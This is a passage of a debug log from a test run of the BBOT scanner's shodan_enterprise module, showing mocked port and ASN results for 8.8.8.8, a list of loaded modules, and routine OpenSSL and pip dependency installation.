[DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded +2026-03-02 08:53:10,518 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-02 08:53:10,518 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-02 08:53:10,519 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) from shodan_enterprise +2026-03-02 08:53:10,519 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) passed post-check +2026-03-02 08:53:10,520 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-02 08:53:10,520 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-02 08:53:10,520 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-02 08:53:10,521 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-02 08:53:10,521 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) from shodan_enterprise +2026-03-02 08:53:10,521 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) passed post-check +2026-03-02 08:53:10,522 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise +2026-03-02 08:53:10,522 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-02 08:53:10,522 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-03-02 08:53:10,523 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-03-02 08:53:10,523 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-03-02 08:53:10,523 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-03-02 08:53:10,523 [VERBOSE] bbot.scanner logger.py:151 Completed finish() +2026-03-02 08:53:10,524 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-03-02 08:53:10,524 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-03-02 08:53:10,524 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-03-02 08:53:10,624 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-03-02 08:53:10,625 [VERBOSE] bbot.scanner logger.py:151 Completed final finish() +2026-03-02 08:53:10,633 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-03-02 08:53:10,634 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-03-02 08:53:10,634 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-03-02 08:53:10,642 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-03-02 08:53:10,643 [VERBOSE] bbot.core.dnshelper logger.py:151 EngineClient DNSHelper: shutting down... +2026-03-02 08:53:10,643 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-03-02 08:53:10,644 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine got shutdown signal +2026-03-02 08:53:10,644 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: shutting down... +2026-03-02 08:53:10,645 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: finished shutting down +2026-03-02 08:53:10,714 [HUGESUCCESS] bbot.scanner logger.py:151 Scan testshodan_enterprise_test_mme5eu3wjs completed in 0 seconds with status FINISHED +2026-03-02 08:53:10,714 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-03-02 08:53:10,715 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector +2026-03-02 08:53:10,716 [CRITICAL] bbot test_module_shodan_enterprise.py:58 Found 1 ASN events +2026-03-02 08:53:10,716 [CRITICAL] bbot test_module_shodan_enterprise.py:69 TCP ports: ['8.8.8.8:53', '8.8.8.8:443'], UDP ports: ['8.8.8.8:53'] +2026-03-02 08:53:10,716 [HUGEWARNING] bbot logger.py:151 Vulnerabilities observed: {} +2026-03-02 09:01:53,751 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz +2026-03-02 09:01:53,760 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-03-02 09:01:53,761 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules +2026-03-02 09:01:53,762 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-03-02 09:01:53,763 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-03-02 09:01:53,763 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-03-02 09:01:53,764 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-03-02 09:01:53,765 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-03-02 09:01:53,766 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-03-02 09:01:53,767 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-03-02 09:01:53,770 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-03-02 09:01:53,770 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-03-02 09:01:53,772 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-03-02 09:01:53,772 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-03-02 09:01:53,773 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-03-02 09:01:53,774 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-03-02 09:01:53,775 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-03-02 09:01:53,775 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-03-02 09:01:53,776 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-03-02 09:01:53,776 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/report +2026-03-02 09:01:53,777 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-03-02 09:01:53,777 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-03-02 09:01:53,777 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/deadly +2026-03-02 09:01:53,778 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-03-02 09:01:53,778 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules +2026-03-02 09:01:53,779 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-03-02 09:01:53,779 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-03-02 09:01:53,780 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-03-02 09:01:53,780 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-03-02 09:01:53,780 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-03-02 09:01:53,781 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-03-02 09:01:53,781 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-03-02 09:01:53,782 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-03-02 09:01:53,782 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-03-02 09:01:53,782 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-03-02 09:01:53,783 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-03-02 09:01:53,785 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-03-02 09:01:53,785 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-03-02 09:01:53,786 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-03-02 09:01:53,786 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-03-02 09:01:53,787 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-03-02 09:01:53,787 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-03-02 09:01:53,787 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-03-02 09:01:53,788 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-03-02 09:01:53,788 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-03-02 09:01:53,789 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-03-02 09:01:53,789 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-03-02 09:01:53,790 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-03-02 09:01:53,790 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-03-02 09:01:53,790 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-03-02 09:01:53,791 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-03-02 09:01:53,791 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-03-02 09:01:53,792 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-03-02 09:01:53,792 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-03-02 09:01:53,792 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-03-02 09:01:53,793 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-03-02 09:01:53,793 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-03-02 09:01:53,794 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-03-02 09:01:53,794 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-03-02 09:01:53,795 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-03-02 09:01:53,795 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-03-02 09:01:53,796 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-03-02 09:01:53,799 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-03-02 09:01:53,799 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-03-02 09:01:53,800 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-03-02 09:01:53,800 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-03-02 09:01:53,801 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-03-02 09:01:53,801 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-03-02 09:01:53,802 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-03-02 09:01:53,802 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-03-02 09:01:53,802 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-03-02 09:01:53,803 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-03-02 09:01:53,803 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-03-02 09:01:53,804 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-03-02 09:01:53,804 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-03-02 09:01:53,805 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-03-02 09:01:53,805 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-03-02 09:01:53,806 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-03-02 09:01:53,806 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-03-02 09:01:53,807 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-03-02 09:01:53,807 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-03-02 09:01:53,807 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-03-02 09:01:53,808 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-03-02 09:01:53,808 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-03-02 09:01:53,809 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-03-02 09:01:53,809 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-03-02 09:01:53,809 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-03-02 09:01:53,810 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-03-02 09:01:53,810 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-03-02 09:01:53,811 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-03-02 09:01:53,812 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-03-02 09:01:53,812 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-03-02 09:01:53,813 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-03-02 09:01:53,813 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-03-02 09:01:53,813 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-03-02 09:01:53,814 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-03-02 09:01:53,814 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-03-02 09:01:53,814 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-03-02 09:01:53,815 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-03-02 09:01:53,815 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-03-02 09:01:53,816 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-03-02 09:01:53,816 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-03-02 09:01:53,816 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-03-02 09:01:53,817 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-03-02 09:01:53,817 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-03-02 09:01:53,818 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-03-02 09:01:53,818 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-03-02 09:01:53,818 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-03-02 09:01:53,819 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-03-02 09:01:53,819 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-03-02 09:01:53,819 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-03-02 09:01:53,820 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-03-02 09:01:53,820 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-03-02 09:01:53,821 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-03-02 09:01:53,821 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-03-02 09:01:53,822 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-03-02 09:01:53,822 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-03-02 09:01:53,822 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-03-02 09:01:53,823 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-03-02 09:01:53,823 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-03-02 09:01:53,824 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-03-02 09:01:53,824 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-03-02 09:01:53,825 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-03-02 09:01:53,825 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-03-02 09:01:53,826 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-03-02 09:01:53,826 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-03-02 09:01:53,826 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-03-02 09:01:53,827 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-03-02 09:01:53,827 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-03-02 09:01:53,828 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-03-02 09:01:53,828 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-03-02 09:01:53,828 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-03-02 09:01:53,829 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-03-02 09:01:53,829 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-03-02 09:01:53,829 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-03-02 09:01:53,830 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-03-02 09:01:53,830 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-03-02 09:01:53,831 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-03-02 09:01:53,831 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-03-02 09:01:53,831 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-03-02 09:01:53,832 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/internal +2026-03-02 09:01:53,832 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-03-02 09:01:53,832 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-03-02 09:01:53,833 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-03-02 09:01:53,833 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-03-02 09:01:53,834 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-03-02 09:01:53,834 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-03-02 09:01:53,834 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/output +2026-03-02 09:01:53,835 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-03-02 09:01:53,835 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-03-02 09:01:53,836 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-03-02 09:01:53,836 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-03-02 09:01:53,837 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-03-02 09:01:53,837 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-03-02 09:01:53,838 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-03-02 09:01:53,838 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-03-02 09:01:53,839 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-03-02 09:01:53,839 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-03-02 09:01:53,840 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-03-02 09:01:53,840 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-03-02 09:01:53,841 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-03-02 09:01:53,841 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-03-02 09:01:53,841 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-03-02 09:01:53,842 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-03-02 09:01:53,842 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-03-02 09:01:53,843 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-03-02 09:01:53,843 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-03-02 09:01:53,844 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-03-02 09:01:53,844 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-03-02 09:01:53,845 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/templates +2026-03-02 09:01:54,777 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector +2026-03-02 09:01:54,778 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector +2026-03-02 09:01:54,778 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-03-02 09:01:54,874 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-03-02 09:01:55,270 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-03-02 09:01:55,270 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-03-02 09:01:55,270 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-03-02 09:01:55,270 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-03-02 09:01:55,404 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-03-02 09:01:55,406 [DEBUG] bbot base.py:103 Mocking DNS +2026-03-02 09:01:55,518 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-03-02 09:01:55,522 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-03-02 09:01:55,547 [HUGEINFO] bbot.scanner logger.py:151 Scan seeded with 1 targets (1 in whitelist) +2026-03-02 09:01:55,550 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-03-02 09:01:55,550 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/ansible-galaxy collection install community.general +2026-03-02 09:01:56,059 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-03-02 09:01:56,060 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-03-02 09:01:59,298 [SUCCESS] bbot.core.helpers.depsinstaller logger.py:151 Authentication successful +2026-03-02 09:01:59,298 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-03-02 09:01:59,299 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-03-02 09:02:03,145 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-03-02 09:02:03,146 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-03-02 09:02:03,149 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-02 09:02:03,150 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-03-02 09:02:03,150 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-02 09:02:03,150 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-03-02 09:02:03,150 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-02 09:02:03,151 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-03-02 09:02:03,151 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-02 09:02:03,151 [HUGEINFO] bbot.core.helpers.depsinstaller logger.py:151 Installing module dependencies. Please be patient, this may take a while. +2026-03-02 09:02:03,151 [VERBOSE] bbot.core.helpers.depsinstaller logger.py:151 Installing dependencies for module "shodan_enterprise" +2026-03-02 09:02:03,151 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-03-02 09:02:03,154 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/aq48sl19aqxy8vq26wpi +2026-03-02 09:02:03,967 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/lib/python3.13/site-packages (from tldextract->shodan) 